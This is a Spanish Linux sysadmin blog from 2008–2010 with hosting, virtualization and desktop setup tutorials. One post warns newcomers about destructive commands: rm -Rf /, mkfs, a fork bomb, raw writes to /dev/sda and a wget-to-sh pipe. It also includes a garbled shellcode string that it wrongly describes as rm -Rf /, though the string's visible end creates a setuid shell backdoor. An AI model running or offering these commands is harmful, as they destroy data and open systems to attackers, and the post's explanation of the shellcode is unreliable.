Jul282010

[How-To] Como instalar ispCP Omega

Buenos días aqui ando actualizando el blog luego de mucho tiempo y este caso posteare un post escrito por Miguel (http://www.neomx.net) que trata sobrte ispCP un panel para hosting gratis. Espero que les sea util.

ispCP Omega.

ispCP es un panel de control web para servicios de internet tipo ISP con soporte multiservidor. Este proyecto esta escrito en C,php5 y perl y usa como base el codigo del panel vhcs el cual parace haber sido abandonado por sus desarrollodares, a pesar de esto, el equipo de desarrollo de ispCP ha corregido multiples fallas de seguridad y agregado ciertas funcionalidades a dicho codigo con lo cual se conviert en una buena alternativa a paneles de control de paga.

instalacion

Esta instalacion es ejecutada en un servidor vps con una ip dedicada y un dominio real que resuelve a dicha ip, por lo tanto, lo primero que en los casos similares a el mio hay que hacer es ingresar al servidor por SSH como andministrador y situarse en la carpeta /root

ssh root@dominio.tld
Password:
cd /root

ahora bien, una vez dentro del server tal ves nos ea necesario pero por seguridad debemos establecer correctamente el nombre de host el cual debe ser rigurosamente un FQDN y reiniciar el sistema reemplazando “HOSTNAME” y “DOMAINAME.TLD” por datos reales en cada situacion.

echo "HOSTNAME.DOMAIN.TLD" > /etc/hostname
/bin/hostname -F /etc/hostname
reboot

Cuando el sietma haya reiniciado configuraremos de forma temporal solo los repositoris necesario durante el proceso.

mv /etc/apt/sorces.list /etc/apt/sorces.list.orig
cat > /etc/apt/sorces.list << EOF
deb http://ftp.us.debian.org/debian lenny main contrib non-free
deb http://security.debian.org/ lenny/updates main contrib non-free
deb http://volatile.debian.org/debian-volatile lenny/volatile main contrib non-free
EOF
apt-get update
apt-get dist-upgrade

Luego sera necesario hacerse de el codigo fuente de ispCP descargadno desde ESTE ENLACE, despues se descomprime el codigo fuente

tar xf ispcp-omega-1.0.5.tar.bz2

Se ingresa a el directorio recien descompreso para despues instalar los paquetes necesarios para que el panel funcione

cd ispcp-omega-1.0.5
aptitude install $(cat ./docs/Debian/debian-packages-`lsb_release -cs`)

Durante el proceso dpkg hara varias preguntas a la cuales debe responderse de esta forma

New password for the MySQL "root" user:
General type of mail configuration: Internet Site
System mail name: HOSTNAME.DOMAIN.TLD
Create directories for web-based administration? no
Run proftpd: standalone

Cuando el proceso haya terminado, lo cual tomara su tiempo, habra que instalar los componentes de ispCP

make install
cp -R /tmp/ispcp/* /

Configuracion

La configuracion de ispCP es bastante simpe ya que cuenta con un excelente instlador escrito en perl que facilita la vida enormemente, para usar discho instaldor solo basta con ejecutar

cd /var/www/ispcp/engine/setup
perl ./ispcp-setup

Este proceso hara una serie de preguntas , a las cuales habra que rsponder como se muestra a continuacion. Cabe mencionar que donde aparezca la palabra [ ENTER ] indica que solo hay que presionar la tecla enter pues el valor autodetectadonormalmente es correcto.

Please enter a fully qualified hostname. [HOSTNAME.DOMAIN.TLD]: [ENTER]
Please enter system network address. [tu.ip.dedicada]: [ENTER]
Please enter the domain name where ispCP OMEGA will run on [admin.HOST.DOMAIN.TLD]: cp.DOMAIN.TLD
Please enter SQL server host. [localhost]: [ ENTER ]
Please enter system SQL database. [ispcp]: [ ENTER ]
Please enter system SQL user. [root]: [ ENTER ]
Please enter system SQL password. [none]: [ PASSWORD_DE_MYSQL ]
Please repeat system SQL password: [ OTRA_VEZ_EL_PASS_ANTERIOR ]
Please enter ispCP ftp SQL user. [vftp]: [ ENTER ]
Please enter ispCP ftp SQL user password. [auto generate]: [ ENTER ]
Please enter ispCP phpMyAdmin Control user. [pma]: [ ENTER ]
Please enter ispCP phpMyAdmin Control user password. [auto generate]: [ ENTER ]
Please enter administrator login name. [admin]: [ ENTER ]
Please enter administrator password: [ UN_BUEN_PASS ]
Please repeat administrator password: [ OTRA_VEZ_EL_PASS ]
Please enter administrator e-mail address: admin@domain.tld
IP of Secondary DNS. (optional) []: [ ENTER ]
Use MySQL Prefix.
Possible values: [i]nfront, [b]ehind, [n]one. [none]: i
FastCGI Version: [f]cgid or fast[c]gi. [fcgid]: c
Activate AWStats. [no]: [ ENTER ]

Cuando termine el proces odrmos acceder a nuetro panel :
Con un dominio valido

cp.dominio.tld

Con un donio fictico o invalido

cp.la.ip.de.mi.maquina

Postinstalacion

Por ultimo solos era necesario borrar el directorio de instalcion temporal, el codigo fuente descompreso y devolver el sources.list original a su sitio, para ello ejecutamos:

rm -fR /tmp/ispcp
cat /etc/apt/sources.list.orig > /etc/apt/sources.list
cd /root
rm -rf ispcp-omega-1.0.5

Extras

Para una mejor instalacion de mysql es conveniente configurar una instalcion segura ejectando

mysql_secure_installation

Jul262010

[Review] Informacion sobre celulares/moviles

Tech

Actualmente en un mundo de innovación y cambios, resulta difícil estar al ultimo de la tecnología, de todos modos si te gustaría estar en lo último sobre Moviles, te recomendamos que leas esa web, encontraras todo lo que necesitas, como por ejemplo la próxima liberación de la aplicación WhatsApp para Android, que por cierto la recomiendo, sobre el lanzamiento de OS de Rim versión 6, etc..
Ahora si emprendedor, quieres tener tu propia web, ¿te preocupa que esta no tenga futuro? eso podes evitarlo utilizando PubliReportajes, ya que ellos pueden ayudarte de forma gratuita a prosperar.

Espero que les sirva,

Saludos Daniel.

Jul262010

xen 3.4.x en CentoOS5

Volvi \0/ Jaja luego de mucho tiempo, vere si ahora vuelvo a mantener actualizado el blog :( , he estado bastante atareado, entre la facultad y el trabajo puf ni tiempo para el pobre blog :( .

Tambien quiero invitarlos a que me sigan en twitter :O @dgerbaudo

Aqui le dejo un tutorial muy interesante que escribio Miguel, sobre como instalar xen en CentOs (El so favorito de miguex o no? XDDD).

——————————————————-INICIO DEL TUTORIAL——————————————————-

Uno de lso detalles que nunca habia notado (gracias @dgerbaudo), quiza por su buen comportamiento , es que la version de xen que viene con CentOS 5 en bastante anciana por decir lo menos y con ls versiones nuevas de los sistemas operativos que usamos en modo hvm (virtualizacion por hadware) se presentan algunos errores fatales.

Es por eso que me di a la tarea de investigar como instalar una version actual de xen , pero desafortunamdamente no encontre nada oficial; Sin ambergo la solucion mas viavle y funcional es instalar la version xen de la rama 3 mas actual desde el repostorio GITCO.En CentOS es tan facil como ejecuta

yum update
cd /etc/yum.repos.d/
wget http://www.gitco.de/repo/GITCO-XEN3.4.3_x86_64.repo

Para despues primero remover el grupo de software “Virtualizacion” viejo he instalar el nuevo grupo con los paquetes acutales

yum groupremove Virtualization
yum groupinstall Virtualization
yum remove libvirt-0.6.3-33.el5 xen-libs-3.0.3-105.el5_5.3

Por ultimo solo falta verificar que la entrada correspondiente a “default” en /boot/grub/grub.conf este en “0″, por ejemplo

default=0
timeout=5
splashimage=(hd0,0)/boot/grub/splash.xpm.gz
hiddenmenu
title CentOS (2.6.18-194.3.1.el5xen)
root (hd0,0)
kernel /boot/xen.gz-3.4.3
module /boot/vmlinuz-2.6.18-194.3.1.el5xen ro root=LABEL=/1
module /boot/initrd-2.6.18-194.3.1.el5xen.img
title CentOS (2.6.18-194.3.1.el5)
root (hd0,0)
kernel /boot/vmlinuz-2.6.18-194.3.1.el5 ro root=LABEL=/1
initrd /boot/initrd-2.6.18-194.3.1.el5.img

Esto es sumanete importante, de lo contrari el equipo podria no arrancar.

——————————————————-FIN DEL TUTORIAL——————————————————-

Bueno esto es todo mañana traere una lista de las funciones de los comandos de cpanel.

Fuente

Dec172009

PHP_Beautifier Formateador de codigo

Hola, como va gente, después de tanto tiempo vuelvo a postear, acá les dejo una aplicación bastante linda que lo que hace es formatear código php dejándolo bonito, es decir vos pones un código php mal indentado, espacios y saltos de línea de mas, y lo pasas por el script y el código queda BONITO.

El sitio es: http://pear.php.net/package/PHP_Beautifier

El link de descarga es: http://download.pear.php.net/package/PHP_Beautifier-0.1.14.tgz

Para instalar: pear install –alldeps –force PHP_Beautifier

Y ahora simplemente cuando queremos usarlo escribimos:
php_beautifier codigo_feo.php codigo_bonito.php

y ya, acá les dejo un ejemplo:

Click para agrandar

Click para agrandar

Espero que les sirva.

Saludos Daniel.

Aug232009

Arreglar problema de QUOTAS en CPANEL

Bueno ahora posteo algo relacionado con un nuevo emprendimiento, acabo de instalar cpanel en un server bajo centos, el problema que tenia es que no me dejaba “setear” las quotas de disco para las distintas cuentas, bueno he estado buscando y preguntando en distintos foros, la solución es ejecutar como root: “/scripts/fixquotas”

[root@yoha daniel]# /scripts/fixquotas

Luego saldrá algo como esto:

Installing Default Quota Databases…../home/aquota.user…./home/quota.user….

/tmp/aquota.user…./tmp/quota.user…./var/tmp/aquota.user…./var/tmp/quota.user…..Done

Warning virtual file systems are mounted.  Quota’s may be counted as double for  users who are currently logged in.  Please have jailshell users logout before ru nning quotacheck in the future! All jailed users will be logged out in 60 seconds!

Broadcast message from root (Sun Aug 23 12:50:39 2009):

Warning!  The system is about to perform quota maintenance.  All users will be logged out in 60 seconds.  PLEASE Do not log back in for 30 minutes, or you may inadvertantly disable your account.

jailshell: no process killed

Quotas are now on

/dev/md2 (add)

Updating Quota Files……

quotacheck: Scanning /dev/md2 [/home] quotacheck: Old group file not found. Usage will not be substracted.

quotacheck: Checked 9305 directories and 54108 files done

quotacheck: Scanning /dev/md2 [/home] quotacheck: Old group file not found. Usage will not be substracted.

quotacheck: Checked 9305 directories and 54108 files done

….Done

Resetting quota for apofisho to 0 M

Resetting quota for dagsoft to 500 M

Y listo, entramos a WHM y ya todas las cuentas deberían tener su respectiva cuota.

Saludos DAG

GRACIAS A LA GENTE DE COMUNIDADHOSTING.COM

Apr252009

“EL REGRESO” xD

Hola gente, ¿Cómo va? Ja, hace años que no posteo  :p pido disculpas pero he estado ocupado en distintos proyectos y planeando y organizando nuevo, aprendiendo nuevas cosas, etc.. Es más son las 7.11 am. del sábado y aun ni siquiera me he acostado aun, es más pido disculpa por los errores y la redacción pero a esta hora lo que hay :p.

Bueno voy  a contar un poco, uno de los nuevos proyectos que encare es IRCAdictos, un server IRC, montado con unrealircd, la idea surgió ya que uno de mis amigos y clientes  de shells, dueño de la red IRChile.com, me comento que buscaba hacer una red global, no solo orientada a chile, sino también al resto de países, y bueno ahí decidí apoyar el proyecto, aportando mi nodo en el server, irc.ircadictos.com.

También estoy aprendiendo java en netbeans, decidí crearme un sistemita para poder administrar clientes (altas/bajas/modificaciones), ventas, y productos ofrecidos (una forma de organizar los planes un poco, y de paso poder consultar los precios más fáciles).

Es mas ayer cuando fui a la facultad a preguntar sobre unos temas de java a Juan, el coordinador de la carrera Sistemas de la UTN FRVM, me comento que había pasantías de PROGRAMACION EN PARALELO, y ahí se relaciona con el tema de clústeres así que también me anote. Es más comenzare a documentar esos temas acá en el blog.
Para los que no saben que es un cluster:

El término cluster se aplica a los conjuntos o conglomerados de computadoras construidos mediante la utilización de componentes de hardware comunes y que se comportan como si fuesen una única computadora. Hoy en día juegan un papel importante en la solución de problemas de las ciencias, las ingenierías y del comercio moderno.
La tecnología de clusters ha evolucionado en apoyo de actividades que van desde aplicaciones de supercómputo y software de misiones críticas, servidores Web y comercio electrónico, hasta bases de datos de alto rendimiento, entre otros usos.
El cómputo con clusters surge como resultado de la convergencia de varias tendencias actuales que incluyen la disponibilidad de microprocesadores económicos de alto rendimiento y redes de alta velocidad, el desarrollo de herramientas de software para cómputo distribuido de alto rendimiento, así como la creciente necesidad de potencia computacional para aplicaciones que la requieran.
Simplemente, cluster es un grupo de múltiples ordenadores unidos mediante una red de alta velocidad, de tal forma que el conjunto es visto como un único ordenador, más potente que los comunes de escritorio.
Clusters son usualmente empleados para mejorar el rendimiento y/o la disponibilidad por encima de la que es provista por un solo computador típicamente siendo más económico que computadores individuales de rapidez y disponibilidad comparables.
De un cluster se espera que presente combinaciones de los siguientes servicios:
1. Alto rendimiento   2. Alta disponibilidad
3. Equilibrio de carga    4. Escalabilidad
La construcción de los ordenadores del cluster es más fácil y económica debido a su flexibilidad: pueden tener todos la misma configuración de hardware y sistema operativo (cluster homogéneo), diferente rendimiento pero con arquitecturas y sistemas operativos similares (cluster semi-homogéneo), o tener diferente hardware y sistema operativo (cluster heterogéneo), lo que hace más fácil y económica su construcción.
Para que un cluster funcione como tal, no basta solo con conectar entre sí los ordenadores, sino que es necesario proveer un sistema de manejo del cluster, el cual se encargue de interactuar con el usuario y los procesos que corren en él para optimizar el funcionamiento.
Extraido de wiki http://es.wikipedia.org/wiki/Cluster_de_computadores

Bueno también comenzare a colaborar con la distribución mexicana IKIM GNU/LINUX, ayudare con el tema del sitio web, esta noche he estado renegando un largo rato con plone y zope, es mas logre instalarlo pero aun no ha quedado como quiero, asi que cuando lo logre también subiré un tutorial al blog de cómo instalarlo

Bueno ya es tarde y tengo que terminar esta web http://www.cas-consultoria.com/ si quieren dejen comentarios de que les pareció.

Bueno esto es todo por hoy, perdonen por el abandono prometo tenerlo más actualizado al blog.

Saludos dag

Mar162009

7 comandos mortales en Linux

img30

Esta es una traducción de el interesante artículo “The 7 Deadly Linux Commands” publicado originalmente por Tech Source from Bohol:

Si eres nuevo en Linux, es probable que en algún momento te encuentres en algún foro o una sala de chat, con una persona malintencionada y poco inteligente que pretenda engañarte para que utilices comandos que puedan dañar tus archivos o incluso arruinar todo tu sistema operativo. Para evitar que se presente este peligroso escenario, he aquí una lista de comandos mortales en Linux que deberian ser evitados:

1. Comando:

# rm -Rf /

Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.

2. Comando:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “’xeb’x3e’x5b’x31’xc0’x50’x54’x5a’x83’xec’x64’x68?
“’xff’xff’xff’xff’x68’xdf’xd0’xdf’xd9’x68’x8d’x99?
“’xdf’x81’x68’x8d’x92’xdf’xd2’x54’x5e’xf7’x16’xf7?
“’x56’x04’xf7’x56’x08’xf7’x56’x0c’x83’xc4’x74’x56?
“’x8d’x73’x08’x56’x53’x54’x59’xb0’x0b’xcd’x80’x31?
“’xc0’x40’xeb’xf9’xe8’xbd’xff’xff’xff’x2f’x62’x69?
“’x6e’x2f’x73’x68’x00’x2d’x63’x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -Rf / ], con la cual podria engañarse incluso a usuarios linux mas experimentados.

3. Comando:

# mkfs.ext3 /dev/sda

Reformatea o elimina todos los archivos del dispositivo mencionado despues del comando mkfs.

4. Comando:

:( ){:|:&};:

La ya conocida por muchos bomba fork. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.

5. Comando:

cualquier_comando > /dev/sda

Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.

6. Comando:

wget http://fuente_de_origen_inseguro -O- | sh

Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. Nunca, nunca hagas esto.

7. Comando:

mv /home/tudirectoriodeusuario/* /dev/null

Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.

Hay una gran cantidad de comandos igualmente mortales, los cuales pudieron omitirse en esta lista, por eso si tienes alguno para agregar, por favor compartelo con nosotros a traves de un comentario.

Fuente

Feb222009

COMO HACER UNA INSTALACION BASICA DE GNOME/KDE+DRIVER NVIDIA

Hola, Como andan? Tanto tiempo nuevamente, aquí dejo un tutorial a pedido de Azk, sobre cómo hacer una instalación mínima de gnome/kde, y  ya que estoy anexare también como instalar drivers de una placa de video NVIDIA.
Antes que nada, debemos ejecutar los siguientes comandos los cuales actualizaran, instalamos build-essential, y por ultimo las cabezera de tu kernel:

yoha:/home/daniel# apt-get update
yoha:/home/daniel# apt-get install build-essential
yoha:/home/daniel# apt-get install linux-headers-`uname -r`

Una vez que hicimos esto procedemos a instalar el servidor X, como root instalamos el paquete xorg y xserver-xorg:

yoha:/home/daniel# apt-get install x-window-system-core

Ahora instalamos los componentes te freedesktop.org , para ello:

yoha:/home/daniel# apt -get install hal dbus shared-mime-info desktop-file-utils

Por último instalamos gnome o kde de la siguiente manera:

Para gnome:
yoha:/home/daniel# apt-get install gdm gnome-core
Para kde:
yoha:/home/daniel# apt-get install kdm kde-core

Ya podemos disfrutar de nuestro entorno preferido ejecutando

Para gnome:
yoha:/home/daniel# /etc/init.d/gdm start
Para kde:
yoha:/home/daniel# /etc/init.d/kdm start

Bueno ahora instalaremos los drivers de nvidia en mi caso es una tarjeta: “NVIDIA GeForce Go 6150”

Para ello descargamos el driver de la página de nvida, en mi caso es este: http://es.download.nvidia.com/XFree86/Linux-x86/180.29/NVIDIA-Linux-x86-180.29-pkg1.run

daniel@yoha:~$ wget http://es.download.nvidia.com/XFree86/Linux-x86/180.29/NVIDIA-Linux-x86-180.29-pkg1.run

Una vez descargado, lo ejecutamos como root:

yoha:/home/daniel# sh NVIDIA-Linux-x86-180.29-pkg1.run

Y seguimos los pasos del asistente.

Nota: Recuerda que para instalar los drivers, debes antes ejecutar como root: “/etc/init.d/kdm stop” o en caso de gnome: “/etc/init.d/gdm stop”.

A mí me anduvo de una, pero si queres personalizar la configuración de las x podes utilizar el comando “dpkg-reconfigure xserver-xorg” (recuerda que las x deben estar cerradas).
Cualquier duda consúltenlo en el foro o por comentario.
Saludos
Pd: Quiero agradecerle a miguex, ya que me dio un par de tips para que el tutorial quedara mas optimo.

Jan182009

Administrando el ancho de banda con Trickle

Trickle se encarga de limitar el uso de ancho de banda de “subida” y “bajada” de una aplicación que le especifiquemos.

Instalacion por apt. “sudo apt-get install trickle”

probando:

Ejemplo 1:

trickle -u 5 -d 12 apt-get upgrade

Entonces trickle limitaría “apt-get upgrade” para usar solo 5 Kbps de “subida” y 12 Kbps de “bajada”, la ventaja es que trickle puede ser invocado tanto por usuarios como por root.

Ejemplo 2:

trickle -d 50 apt-get upgrade

Entonces trickle limitaría “apt-get upgrade” para usar solo 50 Kbps de “bajada”,

Mas Información: Trickle http://monkey.org/~marius/pages/?page=trickle

Fuente

Dec272008

Ikim Linux Distribucion Mexicana Liberada

Nos honra dar la noticia de que el dia de ayer 24 de diciembre fue liberada la primera version de ikim linux. Ikim Linux es una distribucion Mexicana esta creada desde cero y tiene mas de un año de desarrollo. Parte del staff de Debian Mexico colaboro con el desarrollo de este sistema operativo y actualmente quien dirige el todo el proyecto y desarrollo es nuestro compañero y amigo Miguel Angel o mejor conocido como Miguex en Debian Mexico, uno de nuestros adminisradores con sin duda un alto potencial en cuestiones de sistemas unix.

Ikim nace como una iniciativa para desarrollar un sistema operativo del tipo GNU/Linux enfocado principalmente a funcionar en equipos de bajos recursos fomentando asi la reutilizacion de hadware en desuso.

Ikim Linux es un gran y novedoso sistema que hay que probar debido a su calidad de paquetes y su buen desarrollo Debian Mexico fomenta el uso de este flamante sistema.

Invitamos a toda nuestra comunidad y lectores para que prueben este sistema operativo y nos den sus opiones y puntos de vista que es lo mas importante.

Sitio: http://www.ikimlinux.net/

Fuente